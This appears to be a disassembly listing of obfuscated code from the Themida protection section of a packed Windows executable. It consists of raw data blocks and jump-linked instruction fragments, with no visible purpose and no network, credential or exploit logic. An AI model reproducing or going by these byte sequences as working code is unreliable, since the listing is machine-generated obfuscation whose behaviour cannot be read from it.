add ebp, 0FFFFFFFFh
jmp loc_54EB50
; ---------------------------------------------------------------------------
db 5Ch
dd 61BE6866h, 241C8966h, 5533E9h, 41C68000h, 0EE80C600h
dd 0E4E95841h, 29000069h, 13C381CBh, 0E90F4D68h, 257Bh
dd 1E0BBF57h, 0FBA3353h, 2933531Eh, 0D0015FFAh, 7B9AE9h
dd 5029BF00h, 2DBD3D2Eh, 313D2E50h, 0EA015FFDh, 2414875Dh
dd 0C124248Bh, 83E906E9h, 52FFFFCAh, 0C1CBB53h, 0F74316ACh
dd 81DBF7D3h, 5322ADE3h, 1CF38173h, 0E93A0F23h, 493Dh
dd 0EA814A42h, 22C514ACh, 3526C281h, 0D731025Ah, 8124148Bh
dd 4C4h, 8BF80100h, 8DE9243Ch, 81000071h, 2A3A79F2h, 9BEA8140h
dd 816C1A0Dh, 0E1483EF2h, 82F281FDh, 815E7603h, 0D36B17C2h
dd 0C129E906h, 48FFFFFh, 0B8E95C24h, 81000046h, 9A3515EBh
dd 81CB2978h, 9A3515C3h, 2213E978h, 0D5680000h, 8900006Bh
dd 34FF242Ch, 0F655E924h, 0E95CFFFFh, 0FFFFBCFAh, 6678132Dh
dd 5F8014Eh, 4E667813h, 1077E9h, 0E1C15800h, 14E98103h
dd 53207CEh, 68142BCBh, 6C0EE9h, 806AB600h, 0F0289CEEh
dd 4D9045Ah, 6ABFE9A6h, 8B660000h, 0D9E92404h, 100007Ch
dd 348759CEh, 24248B24h, 9C240CD2h, 0FFBCA9E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5488E1: ; CODE XREF: Themida_:00548EF1j
pop dword ptr [edi+24h]
push dword ptr [esp]
pop ebx
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
loc_5488FD: ; CODE XREF: Themida_:0054DEE5j
push ebx
jmp loc_545AA5
; ---------------------------------------------------------------------------
db 57h
dd 0BE565F54h, 17466C45h, 0C1FFEE83h, 836802EEh, 89000030h
dd 33BF243Ch, 317B9400h, 31FE31F7h, 87D6F7F7h, 3FF781F7h
dd 17E459Bh, 0F7015FFEh, 34BD555Eh, 45746467h, 0F3E9DDF7h
dd 5A000056h, 241C8B59h, 81E78957h, 4C7h, 4C78300h, 8B243C87h
dd 2BE92424h, 83FFFFBCh, 3C8904ECh, 81E78924h, 4C7h, 28E95000h
dd 2C000072h, 4D000D6h, 2434FFD6h, 395FE95Ah, 0C4810000h
dd 4, 475ACE81h, 0F6814576h, 0DF29C641h, 348BF589h, 28D2E924h
dd 2C8B0000h, 4C48324h, 4E6168h, 24048900h, 0B858FBB8h
dd 0E9C6014Fh, 2D61h, 735AC381h, 0EEE93949h, 5700004Eh
dd 62BAD5BFh, 5FFE294Bh, 0DFE9F021h, 68000009h, 3FF0h
dd 47C2E9h, 24048900h, 230709B8h, 2E8C17Eh, 0F703E8C1h
dd 3A1905D0h, 92057F16h, 2D67AC7Ch, 0AE2A3B4Ah, 4803E0C1h
dd 4EEFE9h, 2011BF00h, 0F901334Ah, 81D1015Fh, 4A2011E9h
dd 0C875A33h, 6BE95C24h
db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_548A1F: ; CODE XREF: Themida_:0054E3EFj
mov [esp], ebx
mov ebx, 7DA930C9h
jmp loc_54DDFE
; ---------------------------------------------------------------------------
dd 405E089h, 0E9000000h, 0BD7h, 24048F66h, 0FFC5E6E9h
dd 1C77FFFFh, 0D259669Dh, 0E99C2414h, 0FFFFBB3Ah
; ---------------------------------------------------------------------------
loc_548A50: ; CODE XREF: Themida_:0054519Fj
or esi, 491236A5h
push eax
jmp loc_545F49
; ---------------------------------------------------------------------------
dd 4C481h, 0C7810000h, 4, 2C781h, 3C330000h, 243C3124h
dd 5C243C33h, 2FB76866h, 0FFF200E9h, 0B2C581FFh, 81388F7Eh
dd 946092C5h, 4CED811Dh, 178E736h, 0CEE1E9EAh, 0B60FFFFFh
dd 148B66C0h, 0F661E924h, 34FFFFFFh, 2434FF24h, 4C48358h
dd 360FE9h, 0DEBA5200h, 8166F452h, 1C2h, 0C9EA8100h, 0E9153107h
dd 0FFFFF8ADh, 1FCF6851h, 34890000h, 39DBE24h, 0A1B96796h
dd 81679603h, 404C0EC1h, 81F12973h, 404C0EE9h, 2434FF73h
dd 4C4815Eh, 1000000h, 240C8BCFh, 4C481h, 0C7830000h, 4BD3E904h
dd 0EFC00000h, 1BEF8005h, 0FFE1C5E9h, 0CBB850FFh, 506B65Bh
dd 70B2F904h, 0E958C101h, 3B1Ah, 4EC81h, 34890000h, 627EE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_548B36: ; CODE XREF: Themida_:005450BBj
push eax
push 45FC7D65h
pop eax
jmp loc_54EDFC
; ---------------------------------------------------------------------------
dw 0BA66h
dd 89660002h, 665A66D3h, 2244481h, 1663DB2h, 6602245Ch
dd 2246C81h, 8B663DB2h, 0F2E9241Ch, 0B6FFFFD6h, 80CEFE8Eh
dd 0C680EBEEh, 0EA54E901h, 4BDFFFFh, 29000000h, 242C8BEBh
dd 4C481h, 1C870000h, 24248B24h, 0E9240489h, 0FFFFB9F6h
dd 0E9242C89h, 4281h, 0E9240489h, 0FFFFB9E6h, 4C181h, 0EC830000h
dd 243C8904h, 4BFh, 5FF90100h, 0E9240C87h, 0FA2h
; ---------------------------------------------------------------------------
loc_548BC0: ; CODE XREF: Themida_:0054824Cj
push ebx
mov ebx, 2AA26FE8h
not ebx
or ebx, 764B1B2Ah
shl ebx, 2
inc ebx
push esi
mov esi, 0A4C334BCh
sub ebx, esi
push dword ptr [esp]
jmp loc_54D853
; ---------------------------------------------------------------------------
dw 483h
dd 2C8B0424h, 4C48324h, 4C581h, 0BB530000h, 2, 21EFED81h
dd 0DD017D43h, 21EFC581h, 1C8B7D43h, 4C48124h, 87000000h
dd 248B242Ch, 242CD224h, 0B96CE99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_548C1E: ; CODE XREF: Themida_:00544591j
add bl, 68h
sub bl, 36h
push ebx
mov bh, 0E7h
add bh, 5Fh
add bh, 0FCh
push eax
mov al, 0ACh
shl al, 1
jmp loc_54F440
; ---------------------------------------------------------------------------
db 89h
dd 5E542434h, 4C681h, 52680000h, 89000069h, 4B82404h, 0E9000000h
dd 4BF2h, 1AF6815Ah, 89696C40h, 24348BF2h, 4C481h, 0A0E90000h
dd 89000076h, 148B243Ch, 11086824h, 3C890000h, 52E78924h
dd 7209E9h, 243C8900h, 19E9E9h, 243C3300h, 24048F5Ch, 702BE9h
dd 66D02800h, 58C3085Ah, 8005E3C0h, 0E38004C3h, 0E26AE9FEh
dd 40BAFFFFh, 810DA922h, 0F675A1F2h, 4EAC156h, 4B0FE9h
db 0
; ---------------------------------------------------------------------------
loc_548CBD: ; CODE XREF: Themida_:00549F66j
push dx
push ecx
jmp loc_54B95C
; ---------------------------------------------------------------------------
loc_548CC5: ; CODE XREF: Themida_:0054C09Ej
add edi, 2B39D509h
sub ebp, edi
jmp loc_54AA5A
; ---------------------------------------------------------------------------
dw 0E95Bh
dd 0FFFFB8B2h, 6DEDBA52h, 24E92094h, 8900001Fh, 12E95AD3h
db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_548CEB: ; CODE XREF: Themida_:0054B5EEj
pop ecx
add eax, 5FE239Eh
push edi
mov edi, 0EA5D405Fh
xor eax, edi
pop edi
mov [edx+30h], eax
mov eax, [esp]
push ecx
mov ecx, esp
jmp loc_54B27F
; ---------------------------------------------------------------------------
dd 5C240487h, 0B60FC330h, 48F66C0h, 0B870E987h, 0EB30FFFFh
dd 21EB8059h, 1C8BD930h, 6A346824h, 34890000h, 81E68924h
dd 4C6h, 4C68300h, 8B243487h, 76E92424h, 0B8FFFFCCh, 33347915h
dd 2958C529h, 3E95DE8h, 87FFFFD7h, 248B2404h, 29C9E924h
dd 27E90000h, 21FFFFB8h, 0E99C2404h, 0FFFFB81Eh, 3D9E82Dh
dd 641EE94Fh, 0C8B0000h, 0EC815024h, 4, 89243C89h, 4C781E7h
dd 81000000h, 4EFh, 243C8700h, 8924248Bh, 4832424h, 51580424h
dd 4B9h, 59C80100h, 0FFCE22E9h, 34C681FFh, 5D68D921h, 4BF57h
dd 0FE010000h, 74FF565Fh, 9EE90424h
db 31h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_548DC7: ; CODE XREF: Themida_:0054F30Bj
pop edx
jmp loc_545202
; ---------------------------------------------------------------------------
db 8Bh, 4, 24h
dd 0FFCEB1E9h, 4C481FFh, 81000000h, 9259A5E2h, 0CAE9425Eh
dd 0C1FFFFEEh, 0C98107E9h, 0C21580Dh, 9ABC181h, 0CEE91CDFh
dd 0B3000073h, 0E9C3FE3Ch, 4923h, 72EF3F05h, 6821E971h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_548E0E: ; CODE XREF: Themida_:00547A9Aj
shr esi, 5
jmp loc_54B68D
; ---------------------------------------------------------------------------
dw 2C89h
dd 9EB85024h, 681F8477h, 0
dd 58240429h, 0FD25D8F7h, 0E92A3D64h, 0FFFFFFD0h
; ---------------------------------------------------------------------------
loc_548E34: ; CODE XREF: Themida_:0054FA1Cj
push 6C7D45EDh
jmp loc_54A974
; ---------------------------------------------------------------------------
dw 0CCBBh
dd 314ABF06h, 89565BDEh, 4C681E6h, 81000000h, 4EEh, 24348700h
dd 0C19EE95Ch, 665CFFFFh, 2404AB0Fh, 0B720E99Ch, 6866FFFFh
dd 89666FF2h, 13E9240Ch
db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_548E77: ; CODE XREF: Themida_:00549826j
pop eax
shr bl, 2
push ecx
jmp loc_546A6E
; ---------------------------------------------------------------------------
db 45h, 81h, 0F5h
a_jzsi db '°_JZИ╗',8,0
db 0
; ---------------------------------------------------------------------------
loc_548E8D: ; CODE XREF: Themida_:0054552Fj
sub edx, 46DB4381h
add ebx, edx
pop edx
add ebx, 96D6ACE0h
and eax, ebx
jmp loc_54DEE2
; ---------------------------------------------------------------------------
db 81h
dd 233E26C2h, 14875846h, 0C4835C24h, 2424D304h, 0FFB6D1E9h
dd 0C8B66FFh, 58DFE924h, 0E9420000h, 8CAh
; ---------------------------------------------------------------------------
loc_548EC8: ; CODE XREF: Themida_:0054A70Dj
mov [esp], edx
mov edx, 9713358h
sub esp, 4
mov [esp], esi
mov esi, 0F4730E4h
shr esi, 8
not esi
or esi, 30CE6A4Ch
shr esi, 8
jmp loc_549009
; ---------------------------------------------------------------------------
loc_548EEE: ; CODE XREF: Themida_:0054F380j
mov [esp], ebx
jmp loc_5488E1
; ---------------------------------------------------------------------------
aPsWC0Slp db 'PSЁW╢Г0эИlp',0
dw 0FF00h
dd 0E95B2434h, 0FFFFF08Eh, 0BF243C89h, 4, 4247C01h, 5F2434FFh
dd 8B04C483h, 26E92414h, 8B000022h, 0EC832404h, 24048904h
dd 528968h, 24248900h, 4240483h, 5224048Bh, 0C281E289h
dd 4, 0FFE29DE9h, 5DE929FFh, 0BB049E2Dh, 5C8016Fh, 6FBB049Eh
dd 0D1E95759h, 81FFFFE2h, 0DF4F1BEAh, 0E9D1891Fh, 0FFFFC29Dh
dd 24148B66h, 5E08950h, 4, 0E902C083h, 54B6h, 0E9C0C9FEh
dd 55F18002h, 46E9C828h, 3400006Ch, 33E95191h
db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_548F9B: ; CODE XREF: Themida_:00550582j
and eax, edx
jmp loc_545152
; ---------------------------------------------------------------------------
loc_548FA2: ; CODE XREF: Themida_:0054F736j
and eax, ebx
pop ebx
shr eax, 18h
xor eax, ecx
push ebx
mov ebx, esp
push esi
mov esi, 4
jmp loc_54A1AB
; ---------------------------------------------------------------------------
loc_548FB8: ; CODE XREF: Themida_:0054BA9Aj
sub edx, 0A271AD94h
xor ecx, edx
mov edx, [esp]
add esp, 4
push 5E08h
mov [esp], esi
push ecx
sub esp, 4
mov [esp], edx
push 59B47957h
pop edx
shr edx, 6
shl edx, 5
push edi
mov edi, 51F60A94h
add edi, 0A1761D8Eh
jmp loc_549CBD
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 56000000h, 0C6815E54h, 4, 7471E9h
db 0
; ---------------------------------------------------------------------------
loc_549009: ; CODE XREF: Themida_:00548EE9j
sub esi, 0E182F712h
sub edx, esi
jmp loc_54BA99
; ---------------------------------------------------------------------------
dw 0F830h
dd 83241C8Bh, 2C8904ECh, 2C8B5424h, 4C48324h, 4C581h, 51570000h
dd 6D1F06B9h, 52D1F71Eh, 92E0FDBAh, 5AD131E1h, 159CF89h
dd 0FF555FFDh, 5D042474h, 5CF8E9h, 5BDE3100h, 89F08950h
dd 92E958C7h
db 6Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54905F: ; CODE XREF: Themida_:00544927j
push dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
push esi
mov esi, esp
push edi
mov edi, 4
jmp loc_54EF89
; ---------------------------------------------------------------------------
loc_54907A: ; CODE XREF: Themida_:005504C8j
xor edi, ecx
jmp loc_547BBF
; ---------------------------------------------------------------------------
db 5Ch, 51h, 0B9h
dd 21EE4189h, 58DDF181h, 0E1C146FCh, 4E1C102h, 8102E1C1h
dd 0E6AC04C1h, 5643E9EDh, 0B9510000h, 4, 3646E32Dh, 0E9C8017Dh
dd 0FFFFBE67h, 0C281E289h, 4, 0E904EA83h, 502Dh, 12E9C289h
db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5490CB: ; CODE XREF: Themida_:0054FDBFj
mov ebx, [esp]
add esp, 4
jmp loc_5446F4
; ---------------------------------------------------------------------------
loc_5490D6: ; CODE XREF: Themida_:0054F951j
pop esp
push 35D2h
mov [esp], eax
sub esp, 4
mov [esp], ebx
push ebp
mov ebp, 78434E70h
mov ebx, 0D3E790EEh
sub ebx, ebp
jmp loc_54A207
; ---------------------------------------------------------------------------
dw 0C483h
dd 19D2E904h, 0C6830000h, 24343304h, 33243431h, 248B2434h
dd 68A3E924h, 0C3810000h, 2, 900E9h, 1C77FF00h, 1058669Dh
dd 0E99C2404h, 0FFFFB45Ah, 541BE959h, 0C4830000h, 7CBA5204h
dd 0E96FD653h, 72B7h
; ---------------------------------------------------------------------------
loc_549144: ; CODE XREF: Themida_:005445B7j
and edx, 23B91BE9h
not edx
push esi
jmp loc_54B8FF
; ---------------------------------------------------------------------------
dw 61BBh
dd 89A3FCA1h, 0AAE95BDDh, 64000007h, 2B60F66h, 63996866h
dd 24048966h, 0FFB419E9h, 0A6E381FFh, 50356F67h, 0A96676B8h
dd 58C3210Dh, 1963E9h, 4A020500h, 402D75E9h, 297A0860h
dd 604005F8h, 6B687A08h, 89000050h, 2BB241Ch, 2975E94Ah
dd 3324E9D8h, 0F7810000h, 4468256Bh, 0A9F4C781h, 0F9293EE7h
dd 57243C8Bh, 0C781E789h, 4, 8704C783h, 5A5C243Ch, 8B240C87h
dd 0F662424h, 6866C8BEh, 896653C6h, 0A7E9240Ch, 81FFFFB3h
dd 4C6h, 24348700h, 20EAE9h, 0E9F08900h, 0FFFFD3E3h
; ---------------------------------------------------------------------------
loc_5491F8: ; CODE XREF: Themida_:0054BECCj
xor eax, ebx
xor ebx, eax
xor eax, ebx
jmp loc_5473F3
; ---------------------------------------------------------------------------
aRSS? db ',хR╡≤(пИ^?',0
dw 8300h
dd 0B95104C4h, 2, 5969E9h, 0C2815E00h, 2, 31241433h, 14332414h
dd 19A6E924h, 0C310000h, 240C3324h, 64E3E95Ch, 0C4830000h
dd 0C007E904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_549246: ; CODE XREF: Themida_:0054E073j
push ecx
mov ecx, 77B8679Fh
jmp loc_544B5B
; ---------------------------------------------------------------------------
db 0FEh, 0C9h, 80h
dd 0CE3090C1h, 81240C8Bh, 4C4h, 0AEF68000h, 0FFC01FE9h
dd 241C89FFh, 0C381E389h, 4, 482BE9h
db 0
; ---------------------------------------------------------------------------
loc_549279: ; CODE XREF: Themida_:0054A80Cj
and edx, 7D67E65h
sub edx, 5567820h
add eax, 82E5256h
add eax, edx
sub eax, 82E5256h
pop edx
add eax, 4
jmp loc_55022E
; ---------------------------------------------------------------------------
dw 315Fh
dd 24148BD0h, 8304C483h, 3C8904ECh, 107BBF24h, 0B8505EE5h
dd 528C0044h, 6E70EF81h, 0C78126AAh, 6AA950F4h, 6C29EF81h
dd 0C729681Eh, 689CE9h, 2434FF00h, 4C4815Ah, 83000000h
dd 3C3302C7h, 243C3124h, 8B243C33h, 2CD32424h, 0CE99C24h
dd 5FFFFD8h, 4, 0FFD106E9h, 8BC781FFh, 128B423h, 0D241E9EFh
dd 5366FFFFh, 4BABE9h, 243C8900h, 5BE9E789h, 5000030h
dd 25FE7EA3h, 650BE9h
db 0
; ---------------------------------------------------------------------------
loc_549321: ; CODE XREF: Themida_:0054E5D9j
push ebp
mov ebp, 6E0F595Ch
push 3F0Eh
mov [esp], ecx
mov ecx, 9270A6A4h
add ebp, 14C818E5h
sub ebp, 48A76451h
add ebp, ecx
add ebp, 48A76451h
jmp loc_549718
; ---------------------------------------------------------------------------
loc_54934D: ; CODE XREF: Themida_:0054B595j
pop ebx
push edx
mov edx, 4
add ebx, edx
pop edx
push edx
mov edx, 2
add ebx, edx
pop edx
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
add [esp], ax
pushf
jmp loc_54458A
; ---------------------------------------------------------------------------
dd 24048F54h, 47C068h, 24048900h, 4B8h, 24440100h, 24048B04h
dd 0FFD2C7E9h, 65E95CFFh, 5100002Ah, 4B9h, 5ABD5500h, 452FD125h
dd 25ED814Dh, 1F7310Dh, 0F289E9EEh, 34FFFFFFh, 2434FF24h
dd 4C4835Eh, 0E9E38953h, 1AEh
; ---------------------------------------------------------------------------
loc_5493C4: ; CODE XREF: Themida_:0054D24Aj
sub cl, 0BBh
sub cl, 30h
push eax
jmp loc_545B20
; ---------------------------------------------------------------------------
dd 8B240433h, 50512424h, 405E089h, 83000000h, 48704E8h
dd 4895C24h, 68D08824h, 69A7h, 0E9241489h, 0FFFFDF73h
; ---------------------------------------------------------------------------
loc_5493F8: ; CODE XREF: Themida_:00547202j
push esi
push dword ptr [esp+4]
pop esi
jmp loc_54B6F7
; ---------------------------------------------------------------------------
db 97h
dd 9E98EF81h, 90E9AB0Ah
db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54940F: ; CODE XREF: Themida_:005451CFj
push ecx
push esp
pop ecx
add ecx, 4
push 4A8Fh
jmp loc_54F215
; ---------------------------------------------------------------------------
dw 0C481h
dd 4, 0FFB15DE9h, 0B8C681FFh, 510CD451h, 4EC81h, 3C890000h
dd 205C6824h, 0BAE92580h
db 5Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_549447: ; CODE XREF: Themida_:0054BCADj
sub ebp, 18D015C3h
add ebp, 231D5248h
jmp loc_549D24
; ---------------------------------------------------------------------------
loc_549458: ; CODE XREF: Themida_:00547A1Aj
add ebp, 4
push esi
jmp loc_54E46D
; ---------------------------------------------------------------------------
loc_549464: ; CODE XREF: Themida_:0054CC83j
xor edi, 142B07B9h
add edi, 0B4AFC532h
sub edi, ecx
xchg edi, ecx
pop edi
not ecx
add ecx, 2E033417h
shr ecx, 2
add ecx, 0F10328AEh
add ebp, ecx
jmp loc_54B62C
; ---------------------------------------------------------------------------
loc_54948D: ; CODE XREF: Themida_:00545155j
add esp, 4
shr eax, 0Ah
jmp loc_54D8C4
; ---------------------------------------------------------------------------
db 88h
dd 88D1F6D1h, 34A3E9CAh, 1C890000h, 0E905B324h, 3609h
; ---------------------------------------------------------------------------
loc_5494B0: ; CODE XREF: Themida_:0054615Aj
mov edx, 3C6FDA62h
xor ebx, edx
mov edx, [esp]
add esp, 4
jmp loc_54CE05
; ---------------------------------------------------------------------------
loc_5494C2: ; CODE XREF: Themida_:00547DBAj
pop ebx
pop ecx
pop ebx
add bl, al
push dword ptr [esp]
jmp loc_54F6B2
; ---------------------------------------------------------------------------
db 0B4h
dd 885366D4h, 88D7F6E7h, 805B66FCh, 0E1282AECh, 80C9FE58h
dd 5E921E9h, 35000033h, 0EF708CFEh, 0D281E957h, 8142FFFFh
dd 0DE130F2h, 0FFD689C9h, 0E95A2434h, 296Bh, 53E18951h
dd 4BBh, 15E98100h, 8137FC04h, 0FF35B0E9h, 81D9013Eh, 0FF35B0C1h
dd 15C1813Eh, 8B37FC04h, 0E955241Ch, 69E3h, 8324048Fh
dd 0E9042404h, 2AABh, 68242C89h, 0FFFFFBFFh, 0FFD5B3E9h
dd 24248BFFh, 4245C31h, 0E9241C8Bh, 0FFFFD4CEh, 6624248Bh
dd 5624048Bh, 4EC81h, 24890000h, 6976E924h, 0C3810000h
dd 4, 0FFB0EAE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54957D: ; CODE XREF: Themida_:0054EA88j
mov edx, [esp]
jmp loc_545D81
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
dd 0E924048Bh, 210Ah, 4ABDCB81h, 85E92252h, 8BFFFFDAh
dd 0C4832434h, 6FB96804h, 2C890000h, 2C8B5424h, 4C48324h
dd 4B951h, 0CD010000h, 0D788E959h, 429FFFFh, 4EC8324h
dd 53A6E9h, 10B85000h, 0C16E5373h, 0D82505E0h, 522C120Bh
dd 3CB6E9h, 6935B900h, 88E95748h
db 61h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5495E7: ; CODE XREF: Themida_:0054EFB4j
xchg edi, [esp]
mov esp, [esp]
mov [esp], ebx
push 2ABCh
mov [esp], ecx
mov ecx, 5B5D089Bh
inc ecx
jmp loc_54D609
; ---------------------------------------------------------------------------
loc_549603: ; CODE XREF: Themida_:00549C6Fj
add ecx, 4
push edi
jmp loc_546171
; ---------------------------------------------------------------------------
db 83h
dd 37E902C0h, 1FFFFF1h, 49415DE9h, 4D21E981h, 0CE31010Ch
dd 0FFB278E9h, 0C1DEF7FFh, 0E95108EEh, 3C7Dh, 326853ADh
dd 8B0DE749h, 8950241Ch, 0FCA9E9E0h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_549646: ; CODE XREF: Themida_:00546D13j
dec ebx
dec ebx
jmp loc_54F120
; ---------------------------------------------------------------------------
db 58h, 8Fh, 4
dd 24248B24h, 0FFAF31E9h, 4BFFFh, 0EC830000h, 24048904h
dd 6476D0B8h, 58C60160h, 0EE81FE01h, 606476D0h, 53243C8Bh
dd 1E9E389h, 68FFFFD5h, 0C6Dh, 0BB241C89h, 36765D06h, 0F381DBF7h
dd 0B3548EC7h, 0FFFAD8E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_549699: ; CODE XREF: Themida_:00544F16j
sub ebx, 2D483265h
add ebx, 60743EDCh
add ebx, edi
sub ebx, 60743EDCh
add ebx, 2D483265h
push eax
mov eax, 0
add eax, ebx
mov ecx, [eax]
pop eax
jmp loc_5468D5
; ---------------------------------------------------------------------------
db 0FFh
dd 589D1C77h, 9C240411h, 0FFAEB9E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5496D1: ; CODE XREF: Themida_:005480BCj
and ebx, edx
pop edx
dec ebx
xor ebx, 10BA9280h
sub ebp, ebx
pop ebx
and eax, ebp
pop ebp
jmp loc_545F17
; ---------------------------------------------------------------------------
dw 0BA52h
dd 638042FCh, 783EC281h, 0EA812EA5h, 485693A8h, 81E68956h
dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 1B9240Ch, 0E962443Ah
dd 2CDBh
; ---------------------------------------------------------------------------
loc_549718: ; CODE XREF: Themida_:00549348j
sub ebp, 14C818E5h
pop ecx
and eax, ebp
push dword ptr [esp]
pop ebp
sub esp, 4
mov [esp], eax
mov eax, esp
jmp loc_54B6AA
; ---------------------------------------------------------------------------
db 81h, 0CDh, 5Bh
dd 0F74E3A5Ah, 4BCDE9DDh, 50510000h, 6965DD68h, 76E95872h
dd 0AD000022h, 3262E9h, 0C8B6600h, 50126824h, 1C890000h
dd 6B1B6824h, 4890000h, 5E08924h, 4, 8704E883h, 895C2404h
dd 0E9562424h, 0FFFFB077h, 0DC87E953h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_549786: ; CODE XREF: Themida_:0054EEF1j
pop esi
push ecx
mov ecx, 5641171h
jmp loc_54B3F7
; ---------------------------------------------------------------------------
dw 0E2C1h
dd 0FCEA8104h, 818A94C1h, 0D27830EBh, 0B4EB8168h, 81151322h
dd 0D166E4EBh, 57D30179h, 3A53E956h, 0C1280000h, 59CA2858h
dd 5AD588h, 835966E8h, 0C8904ECh, 80A9B124h, 0BBE9A0E9h
dd 31FFFFB4h, 0ADB0E9C2h, 8B66FFFFh, 0EC83240Ch, 24348904h
dd 0EB68E689h, 8900004Fh, 5550243Ch, 890B2EBDh, 8CCD8141h
dd 872E7B74h, 87DFF7FDh, 0E9D5F7FDh, 3BCCh, 4EC81h, 1BE90000h
db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_549813: ; CODE XREF: Themida_:0054EC37j
pop ecx
add esp, 4
sub esp, 4
mov [esp], eax
push ebx
push eax
mov al, 1Dh
mov bl, al
jmp loc_548E77
; ---------------------------------------------------------------------------
db 89h
dd 0DFB850E1h, 485A4626h, 101F3305h, 33DB351Eh, 95E923E1h
dd 81FFFFDAh, 6640D5F2h, 0D692E91Dh, 30ACFFFFh, 5337E9D8h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_549856: ; CODE XREF: Themida_:0054738Dj
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
shr ecx, 7
push 47D8h
mov [esp], ebx
jmp loc_54A9E5
; ---------------------------------------------------------------------------
db 58h
dd 61B55153h, 27E9D5F6h, 81FFFFDBh, 0BB5A98EBh, 1FBD5515h
dd 31D37548h, 0DF015DEBh, 5FF9015Bh, 2BD55h, 8CE90000h
dd 81FFFFE6h, 0FFFFFFC2h, 0BA5251FFh, 4678333Fh, 2EB5C281h
dd 86E9BC83h, 81000002h, 4EDh, 242C3300h, 33242C31h, 545C242Ch
dd 5524048Fh, 4BDh, 246C8100h, 9C335E04h, 0D02AE963h, 0E228FFFFh
dd 0B7536658h, 5EFC0CAh, 0CF80D7F6h, 19F780A4h, 0EF80DFF6h
dd 66FA085Fh, 81241C8Bh, 2C4h, 1FF28000h, 0FFF06AE9h, 5BDD29FFh
dd 5235E9h, 0E97CB500h, 0FFFFF402h, 6EB5685Fh, 2C890000h
dd 5F34E924h, 87590000h, 248B2414h, 2CD36624h, 53E99C24h
dd 0ACFFFFACh, 5366D830h, 75B15152h, 0CA2867B2h, 0FFC728E9h
dd 4C483FFh, 1C26CF81h, 0C7816CD5h, 375806D2h, 8101EF83h
dd 4F2384F7h, 5FFA01A5h, 4C281h, 14870000h, 24248B24h
dd 0FFDEC8E9h, 14E954FFh, 8300000Ch, 0E9042404h, 0FFFFE818h
; ---------------------------------------------------------------------------
loc_549984: ; CODE XREF: Themida_:0054F40Cj
xchg edx, [esp]
pop esp
push 470Fh
mov [esp], ebx
jmp loc_547D40
; ---------------------------------------------------------------------------
db 81h, 0CBh, 0F8h
dd 81725D2Ah, 862F9F3h, 2C38178h, 89FD28B4h, 0C6815BDAh
dd 0D61635Ch, 3888EE81h, 0D60146D9h, 3888C681h, 0EE8146D9h
dd 0D61635Ch, 8124148Bh, 4C4h, 4C68100h, 56000000h, 42474FFh
dd 0FFE4BEE9h, 499AB9FFh, 0E9816D30h, 4C64F084h, 0C8BCE89h
dd 4C48124h, 81000000h, 877514C6h, 0F8EE8131h, 0E908BE1Ch
dd 0FFFFB756h, 0BE243489h, 0B463B19h, 0C15EF521h, 814504EDh
dd 0A7096DEDh, 5DEB29AFh, 6860E9h, 241C8700h, 48B665Ch
dd 4EC8324h, 83243489h, 8F5404ECh, 0EC812404h, 4, 0C87E9h
dd 242C8900h, 5150E9h, 0B800h, 0C1890000h, 0D00E9h, 240C8900h
dd 9A5234B9h, 244C290Fh, 2434FF04h, 83240C8Bh, 2CE904C4h
dd 53FFFFC6h, 1D0C46BBh, 5BDA2923h, 15AD331h, 0EC815BD9h
dd 4, 0BF243C89h, 4, 0E95FF901h, 1790h, 0FFC0B60Fh, 53568734h
dd 0AF424DBBh, 77B9514Ah, 9359D4Fh, 240C8BCBh, 3C8CE9h
db 0
; ---------------------------------------------------------------------------
loc_549AB1: ; CODE XREF: Themida_:0054FF99j
push ecx
mov cl, 0D4h
shl cl, 8
jmp loc_54D241
; ---------------------------------------------------------------------------
dd 0EFC5815Ah, 5F011D1Bh, 0FFE2C7E9h, 243489FFh, 4BEh
dd 0FFE98100h, 0E955BA6Dh, 5EC0h, 0E1F7665Ch, 8E06866h
dd 24148966h, 0E99C5066h, 0FFFFAA9Ah
; ---------------------------------------------------------------------------
loc_549AF0: ; CODE XREF: Themida_:00545393j
push 7F4602DBh
pop esi
push ebx
mov ebx, 75F7474Dh
jmp loc_544C84
; ---------------------------------------------------------------------------
db 33h, 14h, 24h
dd 4055Ch, 0EC830000h, 24348904h, 4BEh, 5EF00100h, 6AC4E9h
dd 0ACA8100h, 81559E05h, 4ECh, 24348900h, 635790BEh, 44E8E97Dh
dd 0F4880000h, 331EE9h, 0C1DAF700h, 3FE904EAh, 0B0000037h
dd 0E9B40CB1h, 2B06h, 0E924048Fh, 0FFFFF306h, 53F068h
dd 0F9DEE900h, 215CFFFFh, 34FF1C6Fh, 0DE8BE924h, 0C481FFFFh
dd 4, 0FFBEE1E9h, 0A9468FFh, 1C890000h, 57E38924h, 725EBE56h
